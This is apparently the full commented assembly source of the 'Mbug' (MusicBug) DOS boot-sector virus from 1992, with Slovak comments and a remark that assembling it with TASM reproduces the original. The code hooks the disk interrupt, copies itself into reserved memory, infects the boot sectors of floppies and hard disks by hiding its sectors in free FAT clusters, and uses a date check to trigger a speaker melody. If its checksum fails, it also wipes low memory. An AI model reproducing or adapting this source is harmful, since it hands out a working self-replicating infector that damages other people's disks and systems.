; -------------------------------------------------------------------------- ; Virus Mbug Sourced by Roman_S (c) jan 1992 ; -------------------------------------------------------------------------- ; Ulozenie BOOT Sect 7, Head 0, stopa 9 (360 Kb) ; Virus Sec 8,9 Hed 0, stopa 9 ; Sec 0 Head 1, stopa 9 ; Po preklade TASM vznika original !!! ; -------------------------------------------------------------------------- NOSMART data_1e equ 230h data_2e equ 6Ch data_3e equ 0Dh data_4e equ 0Eh data_5e equ 11h data_6e equ 13h data_7e equ 15h data_8e equ 16h data_9e equ 18h data_10e equ 1Ah ram_top equ 413h ;Vrchol RAM buffer_boot equ 0dd1h mbug segment byte public assume cs:mbug, ds:mbug org 100h start: cli ;Disable interrupts jmp run_virus B_name db 'IBM 3.3' B_bytes_sect dw 200h B_clust_size db 2 B_reserved dw 1 B_count_fat db 2 B_root_size dw 70h B_total_sect dw 2D0h B_media_desc db 0FDh B_fat_size dw 2 B_track_sect dw 9 B_head_cnt dw 2 dw 0 db 6 dup (0) db 0Fh, 0, 0, 0, 0, 1 db 0, 0, 0, 0, 0, 12h db 0, 0, 0, 0, 1, 0 db 0FAh, 33h, 0C0h, 8Eh, 0D0h, 0BCh db 0, 7Ch, 16h, 7 chcksum dw 4F3Fh ;Kontrolny sucet casti vira drive_head dw 0 ;Ulozenie virusu na disku stopa_sect dw 907h pocet_hlav db 2 sect_inc_track db 0Ah pom_ax dw 200h pom_bx dw 8A00h pom_cx dw 905h pom_dx dw 100h db 0B6h, 0D9h, 0A1h, 49h, 0A6h, 55h db 0A6h, 0ECh, 0A7h, 0CCh, 0A5h, 53h db 0A6h, 6Eh, 0A1h, 41h, 0A7h, 0DAh db 0ACh, 4Fh, 0A4h, 40h, 0B0h, 0A6h db 0B5h, 0BDh, 0A8h, 7Dh, 0AAh, 0BAh db 0A4h, 70h, 0AFh, 66h, 0ACh, 72h db 0A1h, 41h, 0A7h, 0DAh, 0A4h, 0A3h db 0B7h, 7Ch, 0AFh, 7Dh, 0C3h, 61h db 0B1h, 7Ah, 0BAh, 0CFh, 0A4h, 0F9h db 0A4h, 57h, 0AAh, 0BAh, 0A5h, 0F4h db 0A6h, 0F3h, 0B8h, 0EAh, 0AEh, 0C6h db 0A1h, 41h, 0A5h, 75h, 0B0h, 0B8h db 0A6h, 0D3h, 27h, 0A7h, 0ECh, 0A8h db 67h, 27h, 0A4h, 40h, 0A4h, 55h db 0A1h, 41h, 0A5h, 0D1h, 0A9h, 0F3h db 0B5h, 4Ch, 0ACh, 72h, 0A5h, 42h db 0B9h, 0EFh, 0BEh, 0F7h, 0C5h, 0E9h db 0B5h, 4Ch, 0AEh, 60h, 0B7h, 71h db 0BDh, 0D0h, 0A6h, 77h, 0A4h, 0DFh db 0A8h, 0CFh, 0A5h, 0CEh, 0A1h, 43h db 0C1h, 0C2h, 0C1h, 0C2h, 0A1h, 49h db 0A1h db 49h ; ------------------------------------------------------------------------- run_virus: mov ax,cs ;Set registers & stack mov ds,ax mov es,ax mov ss,ax mov sp,0F000h sti ;Enable interrupts call test_chcksum mov ax,ds:[B_track_sect+7c00h-100h] inc al mov ds:[sect_inc_track+7c00h-100h],al mov ax,ds:[B_head_cnt+7c00h-100h] mov ds:[pocet_hlav+7c00h-100h],al mov dx,ds:[drive_head+7c00h-100h] mov cx,ds:[stopa_sect+7c00h-100h] call next_sect1 ;Posun CX,DX na dalsi mov ax,207h ;Read 7 sectors mov bx,7E00h ;Buffer call read_vir2 ;Citaj druhu cast virusu jnc read_ok int 18h ;ROM basic read_ok: mov ax,ds:ram_top ;Memory TOP sub ax,4 ;Reserved 4 Kb mov ds:ram_top,ax ;Set new value mov cl,6 ;Convert to segment addres shl ax,cl mov es,ax ;Set ES to nex segment memory mov si,7C00h ;Zaciatok virusu xor di,di ;Na zaciatok memory bloku mov cx,800h cld rep movsw ;Copy virus to MEM TOP push es mov ax,200h ;Push far Continue push ax retf ;Jmp to Continue ; -------------------------------------------------------------------------- ; Nacitanie zvysnych sektorov virusu ; Vstupuje AH - command BX - adresa pre data ; AL - pocet sektorov ; -------------------------------------------------------------------------- read_vir2: push ax ;Backup registers push bx push cx push dx mov cs:[pom_ax+7c00h-100h],ax mov cs:[pom_bx+7c00h-100h],bx mov cs:[pom_cx+7c00h-100h],cx mov cs:[pom_dx+7c00h-100h],dx dalsi: mov cx,4 ;Count for error read_again: push cx ;Backup mov ah,byte ptr cs:[pom_ax+7c00h-100h+1] ;Command mov al,1 ;1 sect mov bx,cs:[pom_bx+7c00h-100h] mov cx,cs:[pom_cx+7c00h-100h] mov dx,cs:[pom_dx+7c00h-100h] int 13h ;Read 1 sector to BX pop cx ;Restore counter error jnc read_ok1 xor ah,ah int 13h ;Reset disk loop read_again ;Dalsi pokus stc ;Nepodarilo sa jmp short return read_ok1: dec byte ptr cs:[pom_ax+7c00h-100h] ;Zmensi pocet sektorov cmp byte ptr cs:[pom_ax+7c00h-100h],0 ;Toto bol posledny ? je return mov cx,cs:[pom_cx+7c00h-100h] mov dx,cs:[pom_dx+7c00h-100h] call next_sect1 ;Posun na dalsi sect mov cs:[pom_cx+7c00h-100h],cx mov cs:[pom_dx+7c00h-100h],dx mov bx,cs:[pom_bx+7c00h-100h] ;Buffer add bx,200h ;Posun sa o 1 sector mov cs:[pom_bx+7c00h-100h],bx jmp short dalsi ;Citaj dalsi sektor return: pop dx ;Restore registers pop cx pop bx pop ax retn ; --------------------------------------------------------------------------- ; Rutina posunie CX,DX na dalsi sektor ; --------------------------------------------------------------------------- next_sect1: push ax inc cl ;Next sector mov al,cl and al,3Fh cmp al,cs:[sect_inc_track+7c00h-100h] ;Prekroceny posledny? jb next_ok ;Jump if no and cl,0C0h ;Znuluj ho inc cl ;Nastav 1 a daj dalsiu hlavu inc dh cmp dh,cs:[pocet_hlav+7c00h-100h] ;Posledna hlava ? jb next_ok ;Jump if no xor dh,dh ;Nastav prvu hlavu add ch,1 ;Posun na dalsiu stopu jnc next_ok add cl,40h jnc next_ok or cl,0C0h next_ok: pop ax retn ;-------------------------------------------------------------------------- ; Prevedie kontrolnu sumu casti virusu a ak nesedi premaze pamat ;-------------------------------------------------------------------------- test_chcksum: mov si,7C50h mov cx,7CD0h sub cx,si xor ah,ah xor dx,dx ;Suma = 0 cld add_next: lodsb add dx,ax ;Suma = Suma + AX loop add_next cmp dx,ds:[chcksum+7c00h-100h] je chcksum_ok xor ax,ax ;Chyba -> Clear RAM 0-8000h mov es,ax xor di,di mov cx,8000h kill_next: stosw loop kill_next chcksum_ok: retn db 15 dup (0) db 55h,0AAh ;Flag end sector BOOT ; ---------------------------------------------------------------------------- ; Pokracovanie virusu cez RETF (Dalsie sektory) ; ---------------------------------------------------------------------------- continute_line: jmp short continue_lin db 3, 0, 0Ah, 0, 8, 4 db 0, 0, 20h, 0FFh, 0Ah, 0 db 1, 0 db 'MusicBug v1.06. MacroSoft Corp. ' old_13: dw 0A189h,0F000h ;Povodny INT 13h db 0 continue_lin: xor ax,ax ;Set AX,DS,ES = 0 mov ds,ax mov es,ax mov cx,4 ;Set error counter again_origin: push cx ;Backup mov ax,201h ;Read 1 sector mov bx,7C00h ;To original BOOT mov cx,cs:[stopa_sect-100h] ;Ulozenie povodneho BOOTu mov dx,cs:[drive_head-100h] int 13h ;Read original BOOT sector pop cx ;Restore jnc old_boot_ok xor ah,ah int 13h ;Reset disk loop again_origin int 18h ;ROM basic old_boot_ok: call redef_13 mov cx,cs:[year-100h] ;Vyber cas nakazenia mov dh,cs:[month-100h] call year2month ;Preved na mesiace mov cs:[pom_months-100h],ax mov byte ptr cs:[flag_action-100h],0 ;Znuluj akciu nop mov ah,4 int 1Ah ;Read date cx=year, dx=mon/day or dx,dx ;Je tam CMOS ? jz no_cmos call year2month ;Preved na mesiace sub ax,4 ;Pridaj 4 mesiace cmp ax,cs:[pom_months-100h] ;Uz ubehli od nakazenia ? jb no_cmos inc cs:[flag_action-100h] ;Ano nastav flag action no_cmos: push es mov ax,7C00h ;Push 0000:7C00 push ax retf ;Jump far to original BOOT ; ------------------------------------------------------------------------ ; New interrupt 13h - DISK I/O ; ------------------------------------------------------------------------ new_13: sti ;Enable pushf ;Backup registers push es push ds push di push si push ax push bx push cx push dx call timeout ;Testuj casovu prodlevu jc ret_from_13 ;Ochod ak neuplynula 1 sec. cmp dl,2 ;Disk A:, B: ? jb disk_ok ;Jump if YES cmp dl,80h ;Hardisk C: ? jne read_boot_err ;Jump if no disk_ok: mov si,cs ;Disk A: B: or C: mov ds,si mov es,si ;Set DS,ES to my segment mov cs:[drive_number-100h],dl ;Backup drive call read_boot ;Nacitaj boot sektor jc read_boot_err call sub_1 jmp short ret_from_13 read_boot_err: cmp byte ptr cs:[flag_action-100h],1 ;Ideme vyhravat ? jne ret_from_13 call sound ;Zacvrlikaj ret_from_13: pop dx ;Restore registers pop cx pop bx pop ax pop si pop di pop ds pop es popf jmp dword ptr cs:[230h] ; ------------------------------------------------------------------------ ; ; ------------------------------------------------------------------------ sub_1: call sub_2 mov al,cs:data_54 ; (727D:0DE6=0F6h) cmp al,0FDh je loc_6 cmp al,0F9h je loc_6 cmp al,0F8h jne loc_ret_8 call sub_4 jnc loc_7 retn loc_6: call sub_3 jc loc_ret_8 loc_7: call sub_6 loc_ret_8: retn ; ------------------------------------------------------------------------ ; ; ------------------------------------------------------------------------ sub_2: mov ax,cs:data_55 ; (727D:0DE7=0F6F6h) mov cs:7b7h,ax ; (727D:07B7=75AAh) xor bh,bh ; Zero register mov bl,cs:data_51 ; (727D:0DE1=0F6h) mul bx ; dx:ax = reg * ax add ax,cs:data_50 ; (727D:0DDF=0F6F6h) mov bx,cs:data_52 ; (727D:0DE2=0F6F6h) shr bx,1 ; Shift w/zeros fill shr bx,1 ; Shift w/zeros fill shr bx,1 ; Shift w/zeros fill shr bx,1 ; Shift w/zeros fill add ax,bx mov cs:7b5h,ax ; (727D:07B5=550Fh) mov al,cs:data_56 ; (727D:0DE9=0F6h) inc al mov cs:7beh,al ; (727D:07BE=0Dh) mov bl,cs:data_57 ; (727D:0DEB=0F6h) mov cs:7bfh,bl ; (727D:07BF=0) dec al mul bl ; ax = reg * al mov cs:7b3h,ax ; (727D:07B3=0CF3Eh) retn ; ------------------------------------------------------------------------ ; ; ------------------------------------------------------------------------ sub_3: mov byte ptr cs:7c8h,0 ; (727D:07C8=3Bh) nop mov byte ptr cs:7c9h,0 ; (727D:07C9=6) nop loc_9: mov ah,2 mov al,byte ptr cs:7b7h ; (727D:07B7=0AAh) cmp al,3 jbe loc_10 ; Jump if below or = dec word ptr cs:7b7h ; (727D:07B7=75AAh) dec word ptr cs:7b7h ; (727D:07B7=75AAh) dec word ptr cs:7b7h ; (727D:07B7=75AAh) mov al,3 jmp short loc_12 ; (047F) loc_10: or al,al ; Zero ? jnz loc_11 ; Jump if not zero jmp loc_19 ; (0551) loc_11: mov byte ptr cs:7c8h,1 ; (727D:07C8=3Bh) nop loc_12: mov cs:7ceh,al ; (727D:07CE=0F8h) lea bx,cs:[7D1h] ; Load effective addr mov cl,cs:7c9h ; (727D:07C9=6) shl cl,1 ; Shift w/zeros fill add cl,cs:7c9h ; (727D:07C9=6) inc cl inc cl mov cs:7cch,cl ; (727D:07CC=74h) xor ch,ch ; Zero register xor dh,dh ; Zero register mov dl,cs:7cah ; (727D:07CA=40h) call read_write jnc loc_13 ; Jump if carry=0 jmp loc_ret_20 ; (0552) loc_13: mov ax,200h xor dh,dh ; Zero register mov dl,cs:7ceh ; (727D:07CE=0F8h) mul dx ; dx:ax = reg * ax sub ax,6 mov cs:7bch,ax ; (727D:07BC=0DC3Eh) xor bx,bx ; Zero register loc_14: cmp bx,cs:7bch ; (727D:07BC=0DC3Eh) ja loc_16 ; Jump if above mov ax,cs:7d1h[bx] ; (727D:07D1=1EC3h) or ax,ax ; Zero ? jnz loc_15 ; Jump if not zero mov ax,cs:7d3h[bx] ; (727D:07D3=5350h) or ax,ax ; Zero ? jnz loc_15 ; Jump if not zero mov ax,cs:7d5h[bx] ; (727D:07D5=40B8h) or ax,ax ; Zero ? jz loc_17 ; Jump if zero loc_15: inc bx inc bx inc bx jmp short loc_14 loc_16: cmp byte ptr cs:7c8h,1 ; (727D:07C8=3Bh) je loc_19 ; Jump if equal inc byte ptr cs:7c9h ; (727D:07C9=6) jmp loc_9 ; (0454) loc_17: mov ax,0FFFFh mov cs:7d1h[bx],ax ; (727D:07D1=1EC3h) mov cs:7d3h[bx],ax ; (727D:07D3=5350h) mov cs:7d5h[bx],ax ; (727D:07D5=40B8h) xor ah,ah ; Zero register mov al,cs:7c9h ; (727D:07C9=6) shl al,1 ; Shift w/zeros fill add al,cs:7c9h ; (727D:07C9=6) mov dx,200h mul dx ; dx:ax = reg * ax add ax,bx xor dx,dx ; Zero register mov bx,3 div bx ; ax,dx rem=dx:ax/reg dec ax shl ax,1 ; Shift w/zeros fill mov cl,cs:data_49 ; (727D:0DDE=0F6h) shr cl,1 ; Shift w/zeros fill or cl,cl ; Zero ? jz loc_18 ; Jump if zero shl ax,cl ; Shift w/zeros fill loc_18: add ax,cs:7b5h ; (727D:07B5=550Fh) call sub_5 ; (0611) mov byte ptr cs:7cbh,0 ; (727D:07CB=0) nop mov byte ptr cs:7cdh,0 ; (727D:07CD=2) nop xor dl,dl clc ;Clear carry flag jmp short loc_ret_20 loc_19: stc ;Set carry flag loc_ret_20: retn ; ------------------------------------------------------------------------ ; ; ------------------------------------------------------------------------ sub_4: mov ax,1FCh mov cs:7bch,ax ; (727D:07BC=0DC3Eh) mov byte ptr cs:7b9h,1 ; (727D:07B9=16h) nop mov word ptr cs:7bah,2 ; (727D:07BA=812Eh) loc_21: mov ax,201h lea bx,cs:[7D1h] ; Load effective addr mov cx,cs:7bah ; (727D:07BA=812Eh) mov dh,byte ptr cs:7b9h ; (727D:07B9=16h) mov dl,80h call read_write jnc loc_22 ; Jump if carry=0 jmp loc_ret_28 ; (0610) loc_22: mov word ptr cs:7cch,cx ; (727D:07CC=274h) mov cs:7cbh,dh ; (727D:07CB=0) call sub_7 ; (06E9) mov cs:7bah,cx ; (727D:07BA=812Eh) mov cs:7b9h,dh ; (727D:07B9=16h) dec word ptr cs:7b7h ; (727D:07B7=75AAh) xor bx,bx ; Zero register loc_23: cmp bx,cs:7bch ; (727D:07BC=0DC3Eh) ja loc_25 ; Jump if above mov ax,cs:7d1h[bx] ; (727D:07D1=1EC3h) or ax,ax ; Zero ? jnz loc_24 ; Jump if not zero mov ax,cs:7d3h[bx] ; (727D:07D3=5350h) or ax,ax ; Zero ? jz loc_26 ; Jump if zero loc_24: inc bx inc bx jmp short loc_23 ; (05A1) loc_25: cmp word ptr cs:7b7h,0 ; (727D:07B7=75AAh) jne loc_21 ; Jump if not equal jmp short loc_27 ; (060F) db 90h loc_26: mov ax,0FFFFh mov cs:7d1h[bx],ax ; (727D:07D1=1EC3h) mov cs:7d3h[bx],ax ; (727D:07D3=5350h) mov byte ptr cs:7ceh,1 ; (727D:07CE=0F8h) nop mov ax,cs:data_55 ; (727D:0DE7=0F6F6h) sub ax,cs:7b7h ; (727D:07B7=75AAh) dec ax mov dx,200h mul dx ; dx:ax = reg * ax add bx,ax shr bx,1 ; Shift w/zeros fill dec bx dec bx mov ax,bx xor bh,bh ; Zero register mov bl,cs:data_49 ; (727D:0DDE=0F6h) mul bx ; dx:ax = reg * ax add ax,cs:7b5h ; (727D:07B5=550Fh) add ax,word ptr cs:data_56 ; (727D:0DE9=0F6F6h) call sub_5 ; (0611) mov dl,80h clc ; Clear carry flag jmp short loc_ret_28 ; (0610) loc_27: stc loc_ret_28: retn ; ------------------------------------------------------------------------ ; ; ------------------------------------------------------------------------ sub_5: xor dx,dx ; Zero register mov bx,cs:7b3h ; (727D:07B3=0CF3Eh) div bx ; ax,dx rem=dx:ax/reg mov ch,al mov cl,6 shl ah,cl ; Shift w/zeros fill mov cl,ah xor ax,ax ; Zero register xchg ax,dx mov bx,word ptr cs:data_56 ; (727D:0DE9=0F6F6h) div bx ; ax,dx rem=dx:ax/reg mov dh,al inc dl add cl,dl retn ; ------------------------------------------------------------------------ ; ; ------------------------------------------------------------------------ sub_6: mov al,cs:data_49 ; (727D:0DDE=0F6h) mov cs:data_3e,al ; (727D:000D=0) mov ax,cs:data_50 ; (727D:0DDF=0F6F6h) mov cs:data_4e,ax ; (727D:000E=0) mov ax,cs:data_52 ; (727D:0DE2=0F6F6h) mov cs:data_5e,ax ; (727D:0011=0) mov ax,cs:data_53 ; (727D:0DE4=0F6F6h) mov cs:data_6e,ax ; (727D:0013=0) mov al,cs:data_54 ; (727D:0DE6=0F6h) mov cs:data_7e,al ; (727D:0015=0) mov ax,cs:data_55 ; (727D:0DE7=0F6F6h) mov cs:data_8e,ax ; (727D:0016=0) mov ax,word ptr cs:data_56 ; (727D:0DE9=0F6F6h) mov cs:data_9e,ax ; (727D:0018=0) mov ax,word ptr cs:data_57 ; (727D:0DEB=0F6F6h) mov cs:data_10e,ax ; (727D:001A=0) mov byte ptr cs:[1FDh],dl ; (727D:01FD=7Eh) mov cs:[drive_head-100h],dx mov cs:[stopa_sect-100h],cx mov ax,301h lea bx,cs:[0DD1h] ; Load effective addr mov dl,cs:7cah ; (727D:07CA=40h) call read_write jc loc_ret_30 ; Jump if carry Set call sub_7 ; (06E9) push cx push dx mov ah,4 int 1Ah ; Real time clock ah=func 04h ; read date cx=year, dx=mon/day mov cs:[year-100h],cx ; (727D:079C=0DD1h) mov cs:[month-100h],dh ; (727D:079E=0B9h) mov ax,79Fh sub ax,200h mov cl,9 shr ax,cl ; Shift w/zeros fill inc al pop dx pop cx mov ah,3 mov bx,200h call read_write jc loc_ret_30 ; Jump if carry Set mov al,cs:7ceh ; (727D:07CE=0F8h) lea bx,cs:[7D1h] ; Load effective addr mov cx,word ptr cs:7cch ; (727D:07CC=274h) mov dh,cs:7cbh ; (727D:07CB=0) call read_write jc loc_ret_30 ; Jump if carry Set mov al,1 xor bx,bx ; Zero register mov cx,1 xor dh,dh ; Zero register cmp dl,80h jne loc_29 ; Jump if not equal inc dh loc_29: call read_write loc_ret_30: retn ; ------------------------------------------------------------------------ ; ; ------------------------------------------------------------------------ sub_7: push ax inc cl mov al,cl and al,3Fh ; '?' cmp al,cs:7beh ; (727D:07BE=0Dh) jb loc_31 ; Jump if below and cl,0C0h inc cl inc dh cmp dh,cs:7bfh ; (727D:07BF=0) jb loc_31 ; Jump if below xor dh,dh ; Zero register add ch,1 jnc loc_31 ; Jump if carry=0 add cl,40h ; '@' jnc loc_31 ; Jump if carry=0 or cl,0C0h loc_31: pop ax retn ; ------------------------------------------------------------------------ ; ; ------------------------------------------------------------------------ read_write: push ax push bx push cx push dx mov cs:7c0h,ax ; (727D:07C0=7502h) mov cs:7c2h,bx ; (727D:07C2=2E0Dh) mov cs:7c4h,cx ; (727D:07C4=11A1h) mov cs:7c6h,dx ; (727D:07C6=2E0Eh) loc_32: mov cx,4 locloop_33: push cx mov ah,byte ptr cs:7c0h+1 ; (727D:07C1=75h) mov al,1 mov bx,cs:7c2h ; (727D:07C2=2E0Dh) mov cx,cs:7c4h ; (727D:07C4=11A1h) mov dx,cs:7c6h ; (727D:07C6=2E0Eh) pushf ; Push flags call dword ptr ds:data_1e ; (0000:0230=0) pop cx jnc loc_34 ; Jump if carry=0 xor ah,ah ; Zero register pushf ; Push flags call dword ptr ds:data_1e ; (0000:0230=0) loop locloop_33 ; Loop if cx > 0 stc ; Set carry flag jmp short loc_35 ; (078F) loc_34: dec byte ptr cs:7c0h ; (727D:07C0=2) cmp byte ptr cs:7c0h,0 ; (727D:07C0=2) je loc_35 ; Jump if equal mov cx,cs:7c4h ; (727D:07C4=11A1h) mov dx,cs:7c6h ; (727D:07C6=2E0Eh) call sub_7 ; (06E9) mov cs:7c4h,cx ; (727D:07C4=11A1h) mov cs:7c6h,dx ; (727D:07C6=2E0Eh) mov bx,cs:7c2h ; (727D:07C2=2E0Dh) add bx,200h mov cs:7c2h,bx ; (727D:07C2=2E0Dh) jmp short loc_32 ; (072D) loc_35: pop dx pop cx pop bx pop ax retn ; -------------------------------------------------------------------------- ; Nacitanie BOOT sektora ; Vracia CF = 1 ak operacia prebehla neuspesne, boot je zly, nakazeny, ; alebo command nie je READ ; -------------------------------------------------------------------------- read_boot: cmp ah,2 ;Read command jne read_boot_end mov al,1 ;Set 1 sector for READ_WRITE mov bx,buffer_boot mov cx,1 ;Boot sector xor dh,dh cmp dl,80h ;Pracujeme s diskom D: E: .. ? ja read_boot_end ;Ak ano odchod jnz obskok ;Skok ak nepracujem s C: inc dh obskok: call read_write ;Read boot sector jc return_ cmp word ptr cs:[buffer_boot+200h-2],0aa55h ;Test Boot flag jnz read_boot_end ;Toto nie je Boot sect. cmp word ptr cs:[buffer_boot+11],200h ;Sector size = 200h ? jnz read_boot_end mov ax,cs:[buffer_boot+40h] ;Testuj ci uz nie je nakazeny cmp ax,cs:[40h] jz read_boot_end ;Ak ano odchod (Set error) clc ;OK ret read_boot_end: stc ;Error return_: ret ; --------------------------------------------------------------------------- ; Test casova prodlevy 1 sekundy ; Vracia CARRY = 1 ak od poslaedneho volnania neubehla 1 sekunda ; --------------------------------------------------------------------------- timeout: push ds ;Backup registers push ax push bx mov ax,40h mov ds,ax mov si,6ch mov ax,[si] ;AX = <0000:046C> - timer cnt mov bx,ax sub ax,cs:[timer_tick-100h] ;Odpocitaj poslednu pouzitu hodn. cmp ax,18 ;Ubehla aspom 1 sekunda ? jb este_nie ;Jump if no mov cs:7cfh,bx clc ;Set flag time OK jmp short obskok_t este_nie: stc ;Set flag este neubehla 1 sek. obskok_t: pop bx ;Restore registers pop ax pop ds ret ; ---------------------------------------------------------------------------- ; Nahodna melodia ; ---------------------------------------------------------------------------- sound: push ds mov ax,40h mov ds,ax mov si,6Ch mov al,ds:data_2e ; (0040:006C=3Ah) cmp al,0DDh jb loc_40 ; Jump if below mov cx,24h mov si,ds:data_2e ; (0040:006C=0E43Ah) cld ; Clear direction locloop_37: push cx lodsb ; String [si] to al and al,7 cbw ; Convrt byte to word mov bx,ax xor ax,ax ; Zero register mov dx,12h div word ptr cs:[74Ah][bx] ; (727D:074A=230h) ax,dxrem=dx:ax/data mov bx,ax mov al,0B6h out 43h,al ; port 43h, 8253 wrt timr mode mov ax,bx out 42h,al ; port 42h, 8253 timer 2 spkr mov al,ah out 42h,al ; port 42h, 8253 timer 2 spkr in al,61h ; port 61h, 8255 port B, read or al,3 out 61h,al ; port 61h, 8255 B - spkr, etc mov cx,0FFFFh locloop_38: loop locloop_38 ; Loop if cx > 0 in al,61h ; port 61h, 8255 port B, read and al,0FCh out 61h,al ; port 61h, 8255 B - spkr, etc ; al = 0, disable parity mov cx,0FFFFh locloop_39: loop locloop_39 ; Loop if cx > 0 pop cx loop locloop_37 ; Loop if cx > 0 loc_40: pop ds retn db 6, 1, 26h, 1, 4Ah, 1 db 5Bh, 1, 88h, 1, 0B8h, 1 db 0EEh, 1, 0Ch, 2 ; --------------------------------------------------------------------------- ; Konverzia roku (posl.2 BCD cisla) a mesiaca na pocet mesiacov ; Prepocet CL (rok), DH (mesiac) -> AX (mesiace) ; Pr. 6.12.1991 (9*10+1)*12 + (10+2) ; --------------------------------------------------------------------------- year2month: mov al,cl shr al,1 ;Horne 4 bity shr al,1 shr al,1 shr al,1 mov bl,10 mul bl ;Nasob 10 and cl,0Fh ;Dolne 4 bity add al,cl ;Pripocitaj mov bl,12 mul bl ;Rok ma 12 mesiacov test dh,10h ;Mesiac 10,11,12 ? jz no_zima add ax,10 ;Pridaj no_zima: xchg dh,dl ; and dx,0Fh db 83h,0e2h,0fh ;Original instruction for prev. add ax,dx retn ; ---------------------------------------------------------------------------- ; Predefinovanie INT 13h na NEW_13 ; ---------------------------------------------------------------------------- redef_13: cld mov si,13h*4 ;Offset INT 13 in Zero segment mov di,si lodsw ;Load INT 13h mov word ptr cs:[old_13-100h],ax lodsw mov word ptr cs:[old_13-100h+2],ax mov ax,offset new_13-100h stosw ;Store new_13 mov ax,cs stosw retn ; ---------------------------------------------------------------------------- flag_action db 1 pom_months dw 445h year dw 1991h month db 6 db '-- Made In Taiwan --' sect_allhead dw 12h start_data dw 0ch backup_fat_size dw 2 db 2,10h,0 fat_size_byte dw 3fah sect_per_track2 db 0ah head_cnt db 2 db 1,3,0,6,1,9,0,1 db 1,0 drive_number db 0 head_for_fat db 0 fat_block dw 2 fat_size_block db 2 timer_tick dw 2035h buffer label byte db 0fdh db 0FFh, 0FFh, 3, 40h, 0, 5 db 60h, 0, 7, 80h, 0, 9 db 0A0h, 0, 0Bh, 0C0h, 0, 0Dh db 0E0h, 0, 0Fh, 0, 1, 11h db 20h, 1, 13h, 40h, 1, 15h db 60h, 1, 17h, 0F0h, 0FFh, 19h db 0A0h, 1, 1Bh, 0C0h, 1, 1Dh db 0E0h, 1, 1Fh, 0, 0F6h db 1245 dup (0F6h) data_49 db 0F6h data_50 dw 0F6F6h data_51 db 0F6h data_52 dw 0F6F6h data_53 dw 0F6F6h data_54 db 0F6h data_55 dw 0F6F6h data_56 db 0F6h db 0F6h data_57 db 0F6h db 483 dup (0F6h) data_58 dw 0F6F6h db 303 dup (0F6h) mbug ends end start